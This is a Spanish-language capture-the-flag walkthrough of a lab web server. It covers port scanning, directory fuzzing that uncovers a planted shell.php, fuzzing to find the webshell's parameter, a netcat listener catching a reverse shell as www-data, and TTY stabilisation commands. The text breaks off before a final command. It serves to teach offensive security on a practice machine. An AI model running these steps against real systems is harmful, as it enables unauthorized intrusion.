Como siempre, primero que todo comprobamos conectividad con la maquina.
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.115 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.115/0.115/0.115/0.000 ms
Respuesta exitosa y mediante el TTL intuimos que es una maquina Linux, así que después de crear nuestras carpetas de trabajo con mkt procedemos a hacer un escaneo primario.
❯ PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C -o recognition.txt
[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):
[!] Puerto 80 abierto!
[+] Port: 1000 / 1000
[+] Lista de puertos abiertos: [80]
[+] Información de servicios y versiones:
[+] 80/tcp http Apache httpd 2.4.57 ((Debian))
[+] Comprobando vulnerabilidades:
[+] Tecnologías detectadas en HTTP:
http://172.17.0.2:80 [200 OK] Apache[2.4.57],
Country[RESERVED][ZZ],
HTML5,
HTTPServer[Debian Linux][Apache/2.4.57 (Debian)],
IP[172.17.0.2],
Title[Academia de Inglés (Inglis Academi)],
[*] Evidencia guardada en recognition.txt
Interesante, solo tiene el puerto 80 abierto, procedemos a ejecutar nmap para ver que podemos encontrar en este puerto.
❯ nmap -sCV -p 80 172.17.0.2 -oN targeted.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:23 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.00026s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Academia de Ingl\xC3\xA9s (Inglis Academi)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.78 seconds
Nada fuera de lo común, intentamos escanear los puertos de nuevo de una forma mas agresiva con nmap.
❯ nmap -A --script http-headers 172.17.0.2 -oX xml -oN targeted_A.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:26 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.023s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
| http-headers:
| Date: Sun, 13 Oct 2024 05:26:11 GMT
| Server: Apache/2.4.57 (Debian)
| Last-Modified: Fri, 12 Apr 2024 16:07:21 GMT
| ETag: "9ce-615e87774c040"
| Accept-Ranges: bytes
| Content-Length: 2510
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 23.36 ms 172.17.0.2
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds
Vemos que parece tener la pagina por defecto de Apache, pero en el anterior escaneo nos apareció en el titulo algo sobre una academia de ingles, así que intentamos un ultimo escaneo para ir a ver la pagina y hacer fuzzing.
❯ nmap -p 80 --script vuln 172.17.0.2 -oN webScan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 00:30 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.00049s latency).
PORT STATE SERVICE
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 02:42:AC:11:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 22.64 seconds
Nada interesante y después de ver la pagina, solo aparece la instalación de Apache por defecto, así que procedemos a hacer fuzzing con feroxbuster.
Ahora entendemos de donde sale lo de la escuela de ingles, si vamos a estos 2 últimos enlaces, vemos que el index tiene la pagina de la escuela de ingles (Puede ser que mi explorador se quedo con cache y me da este error de redirección), al final nos habla de que tiene un secreto en el directorio tmp no es valido como enlace, podría ser que nos ayude en la escalada de privilegios, en el enlace de warning no dicen "Esta web ha sido atacada por otro hacker, pero su webshell tiene un parámetro que no recuerdo...", nuestra tarea es descubrir esa puerta trasera por decirlo así.
❯ ll
.rw-r--r-- root root 136 KB Fri Apr 12 10:57:58 2024 clase_ingles.jpg
.rw-r--r-- root root 176 KB Fri Apr 12 10:57:03 2024 escuela.jpg
❯ steghide extract -sf clase_ingles.jpg
Anotar salvoconducto:
steghide: el formato del archivo "clase_ingles.jpg" no es reconocido.
❯ steghide extract -sf escuela.jpg
Anotar salvoconducto:
steghide: no pude extraer ningn dato con ese salvoconducto!
❯ stegseek escuela.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Progress: 99.82% (133.2 MB)
[!] error: Could not find a valid passphrase.
Después de descargar las imágenes con wget no parecen tener algo interesante, en este punto podemos enumerar, si volvemos a hacer fuzzing, pero esta vez, solo buscamos archivos php y ademas eliminamos el filtrado de código de estados de feroxbuster encontramos algo interesante.
❯ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php --threads 200 --no-recursion
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://172.17.0.2
🚀 Threads │ 200
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
500 GET 0l 0w 0c http://172.17.0.2/shell.php
200 GET 521l 2920w 254921c http://172.17.0.2/clase_ingles.jpg
200 GET 855l 4253w 327103c http://172.17.0.2/escuela.jpg
200 GET 91l 227w 2510c http://172.17.0.2/
[####################] - 48s 220550/220550 0s found:4 errors:386
[####################] - 48s 220548/220548 4592/s http://172.17.0.2/
Procedemos a ver ese archivo shell.php intentamos hacer fuzzing al parámetro con wfuzz y después de esperar un rato por fin lo logramos.
❯ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=500 "http://172.17.0.2/shell.php?FUZZ=id"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://172.17.0.2/shell.php?FUZZ=id
Total requests: 220562
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000115403: 200 2 L 4 W 66 Ch "parameter"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 0
Processed Requests: 119800
Filtered Requests: 119799
Requests/sec.: 0
Casualidad que el parámetro sea parameter, usando el comando id nos devuelve un código 200, tambien pudimos haber usado FFuf, que consume menos recursos y tendríamos el mismo resultado.
Nos ponemos en escucha con nc en el puerto 1234, y pasamos el comando al servidor mediante la web shell.
❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 42436
bash: cannot set terminal process group (22): Inappropriate ioctl for device
bash: no job control in this shell
www-data@f47c599ec04e:/var/www/html$
Ya tenemos acceso a la maquina victima, aunque la escalada es fácil y rápida, le daremos un tratamiento a la TTY de la siguiente manera.
script /dev/null -c bash # Lo ejecutamos en la maquina victima
ctrl + z
stty raw -echo;fg # Lo ejecutamos en nuestra maquina
reset xterm # Lo escribimos en la maquina victima
stty size # Lo ejecutamos en nuestra maquina para saber nuestras dimensiones
Por ultimo sabiendo las dimensiones y si queremos una terminal de colores, podemos ejecutar el siguiente comando en la maquina victima.